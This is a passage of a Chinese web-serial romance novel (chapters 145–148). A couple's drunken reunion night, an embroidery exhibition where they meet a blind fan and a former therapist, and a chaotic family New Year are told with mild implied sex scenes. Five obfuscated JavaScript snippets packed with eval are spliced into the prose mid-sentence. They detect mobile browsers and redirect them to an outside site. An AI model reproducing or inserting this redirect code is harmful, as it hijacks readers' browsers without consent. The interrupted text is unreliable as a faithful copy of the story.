后来,酒瓶子扔了满地,柯以大约是喝醉了。 他环视一圈,感觉眼前出现了层层重影。 恍惚间,他看到十七八岁少年们青葱稚嫩,满脸信赖地喊他队长,再一眨眼,时间辗转腾挪,匆匆变幻,面前的几个人坐在这儿,仍然喊他老幺。 是从什么时候开始,其实他看着走上另一条路的老大,早已没了当初的愤怒与不解呢? 大约是当别人不喊他老幺,也喊他队长的时候。 他从这个时候意识到,原来想要成为一个像傅斯灼那样的,带着全队坚定往前走的队长,真的很难。 原来偶像也并没有他想象的,那么无所不能。 柯以想,怎么当初他放狠话的时候忘了,队长当时也才十八岁,明明比队里的很多人都要小。 于是柯以举杯,缓缓说了句。 “——敬音乐。” 他突然的开口,让其他几人都愣了几秒。 柯以看着他们,执着重复道:“敬音乐。” 其他几人看向他,都笑了,随即又看向傅斯灼,喊了句。 “老大。” 就再喊最后一次口号吧。 “行。”傅斯灼安静几秒,缓缓抬头,倏地一笑,“FIRST乐队,全体都有——” 柯以缓缓伸出手,声音早不复当初的青涩,变得沉稳而坚定。 “——敬音乐。” 辫儿哥剪了自己头上的辫子,也仍然伸出手。 “——敬青春。” 周勇伸出自己更加胖乎乎的手。 “——敬梦想。” 杨枝把手覆上去,脸上早已刻了几分被生活磨平的无奈。 “——敬自由。” 四人再次看向傅斯灼,眼底崇拜与信任却仍然不减,仿佛时光匆匆如初。 傅斯灼环视一圈,一个一个与他们对视。 他最终伸出手,举重若轻一般,毫无芥蒂地道。 “敬未来。” 敬我们乱七八糟,可能一切不尽如人意,却仍然要向前看的未来。 未来? 傅斯灼想到这个词,突然就很想沈珠楹。 —— “咚,咚,咚——” “咚,咚,咚——” 沈珠楹裹着浴袍下楼的时候,听到门口传来了极为规律的敲门声。 只敲三下,又极为乖巧地停顿十几秒,随即再次将门敲响。 即便知道清风园的安保工作很好,沈珠楹眼底仍然划过一丝警惕。 是哪个傻子在敲门,不知道摁门铃吗? 沈珠楹刚跟沈珠玉去看了一部犯罪片,脑海里闪过一幕幕血腥的画面,忍不住咽了下口水,果断从厨房里拿了把菜刀,随即走到门口,打开猫眼往外看。 一片黑暗,什么也没有。 然而敲门声仍在继续,莫名透着几分诡异。 沈珠楹握紧菜刀,心里开始打鼓,更加警惕了。 她下意识地就给傅斯灼打了电话。 电话很快接通,那头很安静。 “傅斯灼。” “嗯。” “你现在在哪儿?” “我现在——”傅斯灼环视一圈,随即说,“马上就到家了。” 他说完这句话,随即抬手—— “咚,咚,咚——” 又敲了三下。 乖巧停顿了十几秒。 又敲三下。 沈珠楹听着电话里的敲门声,无语片刻,随即把门打开,正要开口骂他,男人高大的身影便顺势跌了过来,直接埋进了她怀里。 沈珠楹赶忙把手里的菜刀扔到地上,生怕伤到他。 她没好气地道:“你有病啊傅斯灼?摁个指纹就能进来的事一个劲的敲什么门,你知不知道这样……” “嗯,老婆。” 傅斯灼整个人埋在她肩头,满足地蹭了蹭,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330386|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好的,老婆。” 沈珠楹这才注意到他浑身酒味,一脸迟疑地问:“喝醉了?” “没有的。”傅斯灼低声笑了,仍然喊她,“老婆。” “没有个屁!”沈珠楹凶巴巴。 “好凶啊,老婆。”他轻声说。 沈珠楹莫名听到了一股委屈的意味,像是某种大型犬科动物。 “好想你啊,老婆。”他沉默片刻,又说。 他终于抬起头,两颊有点红,捧着她的脸,小心翼翼地吻了上来。 他们接了一个缠绵湿润的吻。 他虔诚与她接吻,说是真的想你,老婆。 沈珠楹被他吻得腿软,心底什么害怕生气都没了。 狗男人!喝醉了还这么会! 一吻过后,沈珠楹牵着他的手,走到沙发前让他坐下。 她没好气地道:“坐好,我去给你煮醒酒汤。” 沈珠楹转身想走,却听到傅斯灼说了句,不要。 他攥住她的手腕,猛地往下一拉,沈珠楹就跌落在沙发上,傅斯灼整个人压下来,低下头,又吻上了她的唇。 “老婆,我就想吻你。” 他的声音缠绵悱恻,听着让人情动。 这还是傅斯灼第一次喝醉酒。 沈珠楹觉得新奇,也不急着给他熬醒酒汤了,低低急促地喘息着,命令道:“傅斯灼,你头抬起来。” 傅斯灼原本在咬她雪白的锁骨,听了她的话,动作顿住,抬起头来,笑了,说老婆,你好漂亮。 “你也好漂亮啊,傅斯灼。” 沈珠楹从初见时就觉得他漂亮,五官轮廓精致,再加上嘴角笑起来时漾起酒窝,真的很漂亮生动。 她食指戳了戳男人的酒窝,问:“你这个酒窝能遗传吧?” 她抬眼,注意到男人一双狭长的凤眼,眼神迷离,于是便啧啧摇头,说:“害,我能指望你这个醉鬼说出些什么呢?” “但是你睫毛真的好长哦。”沈珠楹捧着他的脸,漫不经心地开始玩他的睫毛,又问,“你的睫毛也能遗传吧?” 傅斯灼眨了下眼睛,睫毛“唰唰——”划过她的指尖,挠得她整个人心尖痒,再然后他埋下头,继续咬她的锁骨。 “不知道啊老婆。” 傅斯灼轻声道。 “那不如我们试试看。” 试试看,能不能遗传。 第145章 医生,我想活下去 “……试什么?”沈珠楹咽了下口水,开始装傻充愣。 “你说呢?”他抬眸,悠悠笑了,“傅太太。” “我不知道,听不懂你在说什么。”沈珠楹移开眼,语气有几分慌乱。 “宝宝——”傅斯灼低声笑了,揽住她的腰,说,“不逗你了。” 男人望向她,语气里多了几分郑重:“你想什么时候要一个我们的宝宝。” 沈珠楹安静几秒,脸上浮现几分纠结:“我暂时还不太想,你很想要一个宝宝吗?” 傅斯灼额头轻抵她肩头,说:“我也暂时不太想。” 一方面是他的工作性质,还不太稳定,经常需要出差,另一方面就是,傅斯灼觉得—— “——我们两个人就很好。” 傅斯灼又低下头,撬开她的唇齿与她纠缠。 沈珠楹推了一下他,说:“你别闹,我给你去煮醒酒汤。” “我没醉,沈珠楹。”男人趴在她颈边,低声笑了。 “没醉个鬼,醉鬼都不会承认自己醉了。” “是真的。”傅斯灼半跪在她腿间,带着她的手一路往下,碰到他的黑色皮带。 沈珠楹手比脑子快,“咔哒——”一声,下意识地就解开了。 沈珠楹:“……” 等反应过来,她脸涨得通红。 “宝宝现在好熟练。”傅斯灼轻吻她鼻尖,轻笑着,开始解她的浴袍。 …… 昏昏沉沉间,傅斯灼凑到她耳边说。 “沈珠楹,我今天很开心。” “是真的开心。”他跟她分享。 沈珠楹难耐地轻哼,随即勾住男人的脖子,仰头跟他接吻,然后说。 “开心就好。” “傅斯灼,你开心的话,我也会很开心。” 第二次结束的时候,夜已经深了。 傅斯灼抱着她去洗了澡,又回到床上,沈珠楹整个人缩进男人怀里,白净的小脸贴着他硬朗的胸膛,蹭了蹭,然后轻声道:“傅斯灼,还记得我给你写的那封情书吗?” 不等他开口,她又恶狠狠地挥舞着小拳头。 “不记得我揍你哦!” 傅斯灼笑得无奈。 “怎么可能不记得,宝宝。” “记得的话,那你就要在心里明白两件事。” 沈珠楹现在其实没什么力气,她半梦半醒地在男人胸膛上划圈圈,强撑着眼皮继续说道。 “第一件事,傅斯灼,你是一个很好的人。但是有时候,就是因为你太好了,所以总是会活的比别人累。” 可是怎么办呢?沈珠楹也没有办法,让傅斯灼变得没那么好,别把责任都揽到自己身上。 “所以傅斯灼,不管你是遇见了开心的事情,还是不开心的事情,都要跟我说,就像我也会跟你说一样。” “说出来,我们就一起承担了。” 你就不用一个人,背着一座又一座高山,走那么长的路了。 傅斯灼捧着她的脸,低低应了声好。 “第二件事,傅斯灼——” 沈珠楹的声音在黑暗中又轻又缓。 她说:“所有存在过的人和事,都有意义。” “路边的野花,天上的云,现在这么大一只的猪猪,甚至对我来说,可能没那么好的赵子骞,都有意义。” 不管是正面的,还是负面的。 “所以傅斯灼——”沈珠楹睁开眼与男人对视,两双眼睛在黑暗中对视,都显得又清又亮,“你最聪明了,肯定能明白我的意思,对吧?” 傅斯灼嗯了声,低声说:“我明白。” 所以回不去的乐队有意义。 活了二十七年的哥哥也有意义。 “好聪明啊傅斯灼。”沈珠楹蹭了蹭他,抬手轻拍他的脑袋,“那睡觉吧,过几天还要去看绣花展。” “宝宝。” 傅斯灼低头摘下她的助听器,放到床边,再然后沈珠楹仰头,看他用口型说。 “晚安,沈珠楹。” —— 印花刺绣展在周日下午,除夕前两天,办展的地方离清风园不远,两个人吃完晚饭,一路散着步走过去,二十来分钟就到了。 “珠珠,你跟你老公到了吗?”程晓蓉给她打来电话。 “已经到了,你先忙,我们现在在逛着呢。” 沈珠楹这会儿在仰头看一幅双面三异绣,眼底闪过一抹惊艳。 刺绣的正面是一只高傲的蓝孔雀,刺绣翻过去,另一面却是一幅鲤鱼戏芙蓉,看着栩栩如生。 一层薄纱上呈现出了两面截然不同的色彩与图案,当真是巧夺天工。 沈珠楹欣赏完毕,垂眸看了一眼价格。 不要19999。 不要1999。 只要199……万。 打扰了。 沈珠楹毫不犹豫地拉着傅斯灼告辞。 中途她看到了程晓蓉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337370|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的作品,是一幅很简单的白鹤望月绣图,在一众惊奇斗艳的作品里显得很素雅普通,底下没有标价格,但是沈珠楹知道她让这幅作品摆放在这儿,耗费了要比别人多很多的心血。 大约没人会相信,这幅刺绣出自于一位盲人。 沈珠楹在这幅作品前驻足良久,随后才慢悠悠地继续逛,一边逛一边手舞足蹈地跟傅斯灼比划。 “珠珠老板?你也来看刺绣展吗?” 沈珠楹正侧头跟傅斯灼讨论一幅湘绣,猛地便听见了一抹惊喜的声音。 沈珠楹转过头去,看见来人,笑了一下说:“陈阿姨,你也来看展啊?都好久没来我店里买花了。” “最近忙啊,下次一定去。” 陈玉衣挽着她先生的手走过来,跟她打招呼。 她年龄大概五十来岁,看着很有亲和力。 她视线一转,眸光停留在傅斯灼身上,顿住几秒,迟疑道:“你是……小灼吗?” 她视线落在两人交握的手上,眼底几分感慨。 “原来你就是小春和小桃一直在说的,老板夫?” 傅斯灼朝她轻轻颔首,说:“陈医生,好久不见。” 陈玉衣上上下下,仔细打量他,最终笑了,说:“小灼,我曾经说,我希望我们以后不会再见面了,但是如果是在这种情况下的话,我真为你感到高兴。” 陈玉衣这辈子遇见过很多有心理疾病的病人,他们有的十六七岁,饱受原生家庭的逼迫与摧残,有的人到中年,失业与失意一同到来,各有各的惨法,各有各的无奈,对生活的抱怨当然不可避免。 但是傅斯灼大约是她所遇到的,最特别的一个。 不对生活充满抱怨,而总是心怀感恩。 那年他十八岁,推开门进来,身姿挺拔青葱像棵白杨,让人看着就眼前一亮。 他脸色苍白,开门见山地说,医生,我可能生病了,请您救救我。 她听他聊了很多。 他聊疼爱他的奶奶,温柔的妈妈,还有总是会支持他的哥哥。 他聊从小一起长大的兄弟,一起奋斗的乐队成员。 他聊路边在晒太阳的小猫,还有京北附中四月份会盛开的樱花。 “你仍然觉得这个世界很明媚,对吗?”陈玉衣听他说完,不知为何,觉得心脏在很舒缓地跳动。 傅斯灼沉默片刻。 “对,这个世界仍然很明媚。” 他说医生,我想活下去。 第146章 很重要 当时他抬眼,坦然与她对视。 陈玉衣很难去形容自己那时的感受,但是时隔九年,她回想起当年那双眸子,再与当下的他对视,只觉得有清泉滑过她心田。 而沈珠楹此时眨了下眼,一脸惊讶地问:“你们认识啊?” “嗯。”傅斯灼垂眸看向她,轻描淡写地道,“很久之前,有过一段时间的交集。” “这样吗……” 沈珠楹低下头,声音变小了一些。 可是她明明记得,陈阿姨的职业是心理医生。 等陈玉衣挽着她先生的手臂离开,沈珠楹晃了晃他的手。 “傅斯灼——” “——嗯?” “我想吃翠梧街街角的那家糖炒栗子,现在就很想吃,你去给我买吧?”她一脸理所当然地道。 傅斯灼了然看向她,轻碰她的发丝,低声说:“好,我去给你买。” “不过珠珠想知道什么?我都可以告诉你。” “我什么也不想知道。”沈珠楹傲娇撇开脑袋,随即催促道,“你快去啊。” “那你乖乖待在原地,别乱走。” “当然啦。”沈珠楹站在原地,乖巧点头。 等傅斯灼刚一离开,沈珠楹就立马溜了。 陈玉衣快要离开刺绣展的时候,远远看到沈珠楹朝她跑了过来。 “陈阿姨,我能问您一件事吗?”她气喘吁吁地问。 “当然。” “傅斯灼……”沈珠楹顿了顿,“就是我老公,他当时跟您接触了多久?” “时间不长,只有两个月左右。” “他当时生病了吗?”沈珠楹眼睫轻颤着,带几分执拗地问。 “没有,他当时只是……可能情绪很低迷,但是治疗很及时,也很积极,没有被确诊抑郁症。”陈玉衣神色柔和下来,说,“他比你想的要勇敢无畏。” 傅斯灼两个月以后最后一次来找她,做完心理疏导以后,对她说,陈医生,我想我们是最后一次见面了。 “怎么这么急?你要去哪里?” “剑桥大学。”傅斯灼回她,“我收到了剑桥大学的录取通知书。” 陈玉衣愣住:“这么快?” 她知道他这段时间一直在备考雅思,办理退学手续,准备面试,还要做乐队的收尾工作。 他很忙。 他抽空来进行心理疏导。 “对。” 彼时的少年青涩,冷淡,眼底却仍有几分藏不住的意气风发。 他说陈医生,要祝福我吗,又踏上了一段新的旅程。 “当然,祝福你,小灼,我想无论如何,你会有很风光的未来。” “谢谢。”傅斯灼当时语气很轻,说,“我会的。” 无论背负着什么,无论走向哪条路,他当然,依旧会有风光无比的未来。 他脊背仍然挺拔高大,陈玉衣眼睁睁地看着他转身,一步一步离开,在他手搭在门把手上的时候,终于还是忍不住问。 “已经确定好了吗,小灼,这是你想要的未来吗?” 虽然依旧风光无比,但是这真的,是你想要的未来吗? “对——” 傅斯灼给她答案。 “这就是我想要的。” 少年的声音青涩,沙哑,却仍然笃定无比。 哥哥很重要,要活着。 梦想很重要,要发光。 所以哥哥的梦想,最重要。 —— 等陈玉衣走了,沈珠楹就呆愣愣地站在原地,垂下眼睫,半晌都没说话。 直到有人轻轻地拍了拍她的肩膀。 她转过头,程玉蓉手里拿着盲杖,不知道什么时候凑站在了她旁边,闻了闻她身上的香味,笑着说:“今天是薰衣草味的珠珠。” 沈珠楹把手里的薰衣草递给程玉蓉,说:“今天是薰衣草味的玉蓉。” “谢谢珠珠。”她欣喜接过,然后小声问,“你有看到我的刺绣吗?妈妈说,我的刺绣从刺绣展正门左转,走一百二十步就能到。” “看到了,好漂亮啊,你的刺绣最漂亮了。”沈珠楹夸道。 “珠珠,你惯会哄人了,我跟其他刺绣大师根本就比不了的。” 程玉蓉是后天车祸失明,她现在的水平,比失明之前不知道差了多少,当然就更加没办法跟那些大师相比了。 但是沈珠楹一脸认真地道:“没有哄你啊,我是真的觉得最漂亮,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347157|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么没有标价格呢?不然我一定刷199万把那幅刺绣拿下。” 刷傅斯灼的卡。 沈珠楹在心里默默补充道。 “珠珠真的喜欢吗?那我就把那幅刺绣送给你了,不值什么钱的。”程玉蓉一脸认真地回。 “那怎么行?”沈珠楹慌忙摆手,“太贵重了。” 虽然程玉蓉没有说绣这样一幅刺绣要多久,但肯定要比其他人多千倍百倍的时间,甚至有可能,这是她失明以后的第一幅完整的作品。 这么贵重,当然要自己好好收藏。 “珠珠不喜欢吗?”程玉蓉的声音有几分失落。 “当然没有啊!” 沈珠楹手和脑袋都快摇成残影了,突然意识到她看不见,于是拉起她的手摇,强调道,“我很喜欢,但是……” “喜欢就送给你了。”程玉蓉弯唇笑了,“你不是结婚了吗?我也没有别的结婚礼物可以送给你,就送你一幅刺绣好了。” “你们还没有举办婚礼吧,我用这幅刺绣换一封结婚请柬,可以吗?” 沈珠楹拗不过他,只好妥协:“好。” 程玉蓉目的达成,满意笑了,转移话题道:“你老公呢?他没有过来吗?” “他去给我买糖炒栗子了,马上就……” 沈珠楹话音未落,肩膀就被搂住,熟悉的清冽气息将她包围,再然后她眼前出现了一包糖炒栗子,晃了晃。 “你的糖炒栗子,我看卖糖葫芦的老爷爷也在,又顺手买了几串糖葫芦。” 男人的声音低沉悦耳,含着几分明显的笑意。 而原本还在笑的程玉蓉听到这道声音,当场便愣在原地。 定了好几秒,她垂下眼睫,手指都在轻颤。 沈珠楹乐滋滋地收下了,她跟傅斯灼介绍道:“傅斯灼,这个就是我的朋友,程玉蓉,她刺绣超级厉害。” 傅斯灼侧眸看去,视线划过她失明的双眼时也仍然无波无澜,像是在看一个再普通不过的人。 他轻轻颔首道:“你好,我是珠珠的老公,傅斯灼。” 程玉蓉握紧手中的盲杖,努力保持平静,最终深吸一口气,开口道:“你好。” first,好久不见。 第147章 开心吗? 逛完刺绣展以后,程玉蓉送两人到刺绣展出口,她拉着沈珠楹的手,好几次欲言又止。 傅斯灼十分识趣地道:“我接个工作电话,你们聊。” 等脚步声渐远,程玉蓉握紧沈珠楹的手,激动又小声地道:“是他,是FIRST乐队的主唱!” “珠珠。”程玉蓉的声音里有失而复得的欣喜,以及很明显的哭腔,“真的是老朋友了,珠珠。” 沈珠楹跟程玉蓉相识于一场非遗博览会,两人一开始只是加了好友,没怎么聊过天,直到有一天,程玉蓉在朋友圈里发了一首FIRST乐队的《敬未来》。 沈珠楹在那天给她发了信息,说我也很喜欢FIRST,也许我们可以成为好朋友。 一来二去,两人的交集越来越多,也真的成了很好的朋友。 “珠珠,我原本以为我是在茫茫人海里找到了同担。” 毕竟当年FIRST乐队只繁茂了一个夏天,后面又消失了这么久,喜欢的人真的不算多。 “没想到你的喜欢跟我的喜欢不一样。”程玉蓉很心疼地拉住她的手,“那么你这些年,会比我辛苦很多吧。” “没有啊。” 沈珠楹是真的不觉得很辛苦,毕竟…… “我也只是偶尔会想到他。” 然后会有一点难过。 “珠珠,那么……” 程玉蓉犹豫片刻,开口道:“我可以问你一个问题吗?” 她声音有几分小心翼翼。 “当然可以,你可以问我很多很多个问题。” 如果沈珠楹有尾巴,现在一定翘到天上去了。 她如今知道傅斯灼也喜欢绿色,爱吃甜口的菜,不怎么吃辣,通常早上六点起床,开心的时候喜欢盖住眼睛露出酒窝…… 她了解了关于他的好多事,都可以分享给程玉蓉。 但是程玉蓉安静片刻,只小心翼翼地问她。 “那么珠珠,他消失的这些年,过得开心吗?” 沈珠楹没想到是这个问题。 她愣在原地,好半晌没说话。 程玉蓉耐心等了片刻,没有等到答案,一双眼睛仍然落不到实处,但是又好像,已经知道答案了。 她有些难过。 就像当初得知自己的眼睛失明,再也不能成为像妈妈和奶奶那样厉害的刺绣大师,一样难过。 原来那个曾经在她黑暗世界中亮起一抹光,用音乐指引着她往未来走的少年,这些年过得没那么开心吗? 一直等程玉蓉被妈妈临时喊走,沈珠楹站在原地,也仍然找不到答案。 这些年过得开心吗?傅斯灼。 沈珠楹脑海中,一帧一帧地,闪过很多关于他的事。 那是一块一块的,很漂亮明媚的拼图。 她在今天捡到了关于他的最后一块拼图,小心翼翼地想把他完整地拼出来,却很遗憾地发现——拼图本身就少了三块。 是永远爱他的哥哥,青春热烈的十八岁和闪闪发光的梦想。 沈珠楹抬眼,见傅斯灼站在不远处,西装笔挺,还在打电话。 冷静的,沉稳的,一丝不苟的。 如果形容二十七岁的傅斯灼,要用这些词汇。 似乎是察觉到她目光,他迎着夕阳回头,冲她笑了一下。 于是沈珠楹找到答案了。 他当然不开心—— 只是仍然认为,这个世界足够明媚。 那一年,刚满十八岁的傅斯灼,独自治好了自己的心理疾病,背着哥哥的梦想,母亲的指控,父亲的责骂,队友的不解,踏上了前往英国的求学路。 同年,沈珠楹考上了华大,却再也找不回曾经那个,肆意张扬的少年。 “傅斯灼,我们去买年货吧?” “嗯,好。” “傅斯灼,你看前面那个灯笼长得像不像你?” “不像。” “……不像吗?”鼓腮。 “……像。”无奈。 两个人在大街上牵着手,慢悠悠地走着。 那天距离除夕还有两天,大红灯笼高高挂,家家户户迎新春。 沈珠楹点开手机,注意到程玉蓉在两分钟前给她发了好几条信息。 【程家绣坊】:那些年不开心也没关系的,珠珠。 【程家绣坊】:他现在也很开心啊,珠珠,我用耳朵听到了。 【程家绣坊】:他现在的声音,就是很开心的声音。 【程家绣坊】:好了,现在我唯粉转CP粉了,你们要一直开心地在一起。 沈珠楹垂眸笑了,给她回。 【木字满盈】:蓉蓉也要一直开心的刺绣! 回完这条消息,沈珠楹抽空抬眸问傅斯灼。 “傅斯灼,你知道我给你介绍的那个朋友是什么身份吗?” “是乐队的粉丝,对吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351977|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”傅斯灼低头笑了,几分感慨。 “好聪明啊傅斯灼。”沈珠楹眼底闪过一丝讶异,“不过也不太准确。” “她是你的唯粉,不是团粉。” “你对她很重要哦傅斯灼。”她一脸认真地强调,“她超级喜欢你。” “嗯。”傅斯灼说,“我很荣幸。” “那你想到了什么呢,傅同学?”沈珠楹仰头,一副谆谆教诲的模样,问他。 傅斯灼安静几秒,偏头看她,蓦地笑了。 “所有存在过的人和事,都有意义。” “好聪明啊,傅同学。” 沈珠楹一脸傲娇地冲他招手。 傅斯灼无奈躬身,任她揉乱他的头发,然后说:“好可爱啊,沈老师。” 然而等两人买完年货回到家,沈珠楹望着那一别墅的刺绣图,缓缓睁大了眼睛。 “傅!斯!灼!” “你是大笨蛋吗???” 这里得有多少个199万? 是钱多了没地方花吗? “你不是喜欢吗?”傅斯灼眼底有几分费解,“我看你逛的时候很喜欢。” “我免费看的能不喜欢吗???” 但是如果让她付199万…… 绝无可能。 她绝对不会当这个冤大头。 沈珠楹抬眼看向冤大头本头,叹了口气。 算了,大少爷的计量单位跟他们普通人不一样。 她指了指正中间的那幅刺绣图,说:“把这幅最贵的给我放卧室。” 她要每天看,看出朵花来,看回本! 第二天,两个人在家贴好了春联和灯笼。 沈珠楹还特意剪了一大束报春花放在玄关处,紫色红色挤成一团,看着特别喜庆。 她打电话给沈桉。 “妈,我跟姐姐,还有傅斯灼商量了一下,打算明天中午来过年,你觉得怎么样?” 那头的沈桉沉默几秒,声音透着浓浓的心虚。 “过**先放一放。” 她声音很小地道:“我们先来聊聊结婚的事。” “结婚?什么结婚?” “就是……”沈桉语气顿住,“我昨天跟你徐叔叔结婚了。” 沈珠楹:“……” 客厅里诡异地安静了半分钟,随后再次传来了惊天地咆哮声。 “沈!桉!” “你要死啊!” 第148章 老公今天是大年初一啊 坐在一旁休息的大胖橘“喵呜——”一声,又被吓了一跳,傅斯灼一脸淡定地轻揉小猫后背,缓缓安抚它的情绪。 大概是因为习惯了,沈珠楹几乎是在下一秒就冷静了下来。 “我姐知道了吗?” “我还没敢说。”沈桉语气带了几分讨好地问,“珠珠,你能不能……” 沈珠楹想也不想地就拒绝了。 “不能。” 五分钟后,沈珠楹拨通了沈珠玉的电话。 半小时后,两姐妹带着各自的老公,赶了过去。 俩人赶回家的时候,沈桉带着她新鲜出炉的老公,一脸淡定地坐在沙发上,冲急忙慌赶过来的四人微笑,一脸和蔼地道。 “来了?小灼,嘉呈,喝茶。” 话音刚落的下一秒,沈桉就被两姐妹一人一只胳膊,给抬进了房间,留三个男人站在客厅,神色各异,面面相觑。 两姐妹关了门,把沈桉架在床上。 沈珠楹凝视她。 “快说!到底是什么原因——” 沈珠玉接:“——什么地点?” 两人对视一眼,又异口同声地问:“——到底发生了什么?” “害。”沈桉一脸扭捏地道,“就是……他昨天突然跟我求婚了。” 沈珠楹:“……就这?” 沈珠玉:“……就这?” 两姐妹再次异口同声地吐槽:“你个死恋爱脑!” “什么恋爱脑,我那是未雨绸缪,他自己说的,跟他结婚的话,春节档他赚的钱全是我的。” 徐彦洲春节档要上映一部电影,这件事她跟沈珠玉是知道的。 早在一个月前她就敲锣打鼓,号召她朋友圈里的人都来看。 就连远在安林区的外公外婆都没有放过,特意骚扰老俩口春节也去看。 说起外公外婆…… 沈珠楹一脸复杂地问:“你跟外公外婆说了吗?昨天结婚的事。” 沈桉:“……还没敢说呢。” 她一脸讨好地看向两人。 “你们俩能不能……” 姐妹俩异口同声:“你想都不要想!” 沈桉看向沈珠楹,眨了下眼睛,嗓音拖长。 “珠珠——” “——妈妈的好珠珠。” 半小时后,沈珠楹再次面无表情地,打通了刘翠英的电话。 “外婆,你现在心情怎么样?” “挺好的,诶呦,珠珠,家里的鸭子能杀了,你什么时候来梨花镇过年啊,带上小灼,我昨天还在新闻上看见他了呢。” “帅的嘞,小伙子,对了,上回带给阿灼的牛……” 提起傅斯灼,刘翠英的声音柔和了好几倍。 牛…… 沈珠楹额角跳了跳,想到了某些让人脸红心跳的回忆。 她抓紧打断她,飞快道:“我妈结婚了。” 刘翠英:“……” “……你干妈吗?” 沈珠玉在一旁贴心补充:“不是,是您的亲女儿,她又双闪婚啦。” 刘翠英:“……叫沈桉滚过来接电话。” 沈桉接过电话,瑟瑟发抖地喊了声:“妈——” 一分钟后,正坐在客厅内相谈甚欢的三个男人听到了苍老的一声震天吼。 “沈桉,你**要死啊!!!” “两小时内!带上你的新男人,给老娘滚来梨花镇!!!” 于是乎,沈桉女士在除夕前夜,战战兢兢地带着自己的新男人,马不停蹄地滚回了梨花镇。 沈珠楹支着下巴,“哇喔——”一声,说:“这个年过得真刺激。” 沈珠玉弯眸:“问题不大,外公外婆估计都习惯了。” 姐妹俩盘腿坐在沙发上,满目无辜地望着正在厨房里,一边忙碌,一边聊天的两个男人,对视一眼,都不约而同地笑了。 —— 大年三十那天,夫妻俩去了老宅。 陈婉君见到沈珠楹,又花精灵花精灵地叫个没完,笑得眉眼弯弯,做什么都缠着她。 傅斯灼跟傅珩摆了一盘棋,父子俩神色波澜不惊,关系仍然不算远也不算近。 ——却已然是父子间难得一见地温和相处。 电视上放着春晚,没人看,只听个声。 周清兰坐在一旁,笑着看着,苍老的眼睛,眼底蕴藏着万千情绪。 沈珠楹第二天迷迷糊糊被吻醒了。 她迷迷糊糊地睁开眼,气得“啪——”一下拍他脸上,说:“干嘛吵醒我?” 昨天本来就睡得晚。 “珠珠——”傅斯灼猛地被打了一下也不恼,低着脑袋继续默不作声地吻她的眼睛,鼻梁和唇瓣。 缱绻又眷恋的,到处撩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356840|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火。 沈珠楹被他吻得有点情动,干脆一不做二不休,扯着他的领带往下一压,咬上了他的喉结,含糊道:“要做快点,我等一下还想睡个回笼觉。” 她刚刚迷迷糊糊看了一眼时间,还不到早上六点。 “宝宝。”傅斯灼身体僵住,搂着她的腰不舍地摩挲,嗓音顿时哑了不少,更多的是无奈。 他低声说宝宝,我马上就要出差。 沈珠楹咬他喉结的动作顿住,整个人一下子清醒了不少。 “你怎么不早说?”她盯着男人喉结处的新鲜的咬痕,颇为头疼地道,“那这个怎么办?又贴个创口贴吗?” 傅斯灼一双琥珀色的眸子盯着她看,随即又低下头吻她,开口道:“时间是半个月左右。” 沈珠楹颇为平静又**以为常地“哦——”了一声。 过了几秒钟,她两手捧着男人那张俊脸,恶狠狠地使劲儿揉,声音有点崩溃。 “老公今天是大年初一啊!” 本来他们今天都约好了,要跟姐姐姐夫一起去看徐叔叔导的电影来着。 “老婆——” 